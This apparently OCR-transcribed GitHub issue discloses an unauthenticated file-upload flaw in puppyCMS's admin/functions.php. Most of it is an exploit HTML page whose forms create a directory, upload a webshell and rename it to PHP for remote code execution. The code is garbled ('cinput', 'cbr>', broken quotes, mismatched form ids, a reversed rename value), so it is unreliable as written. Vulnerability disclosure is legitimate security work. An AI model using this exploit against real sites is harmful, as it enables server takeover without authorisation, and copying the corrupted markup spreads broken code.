<> Code ⊙ Issues 6 % Pull requests 1 ⊙ Actions ⊞ Projects ① Security



Jump to bottom New issue

There is a RCE vulnerability that can upload a webshell without admin login. #14

Open Abstin opened this issue on Mar 27, 2019 · 0 comments

```
Abstin commented on Mar 27, 2019
The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
exp.html--getshell
    <title>File Upload Form</title>
    </head>
    <body>
    <script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>
    This form allows you to mkdir /content/ directory.<br>
   (By default there is no /content/ directory, cbr>
(form id="test" action="" method="post">cbr>
cinput type='hidden' name="addfolden' value="" />
cinput type='hidden' name="path' value="" />
cinput type='hidden' name="path' value="" />
cinput type='submit" value="Submit">
    </form>
    <br/>
<br/>
    <br/>
    (Filename must be webshell.txt)\cbr>
<form id="test2" action="" method="post" enctype="multipart/form-data">\cbr>
Filename:
    cinput type="file" name="uploadFile">
cinput type="hidden' name="asset-upload" value="1" />
cinput type='hidden' name="path" value="" />
cinput type="submit" value="Upload File">
    </form>
    <br/><br/><br/>
   This form allows you to rename /content/webshell.txt to /content/webshell.php<br/>
<form id="test3" action="" method="post"><br/>
<input type="hidden' name="renameFolden" value="webshell.php.txt" />
<input type="hidden' name="oldFolden" value="webshell.txt" />
<input type="hidden' name="path" value="" />
<input type="submit" value="Submit">

    </form>
    document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
    document.getElementById("test3").action = page;
    </script>
    </body>
    </html>
```

No one assigned

None yet

Projects

Development

No branches or pull requests

1 participant

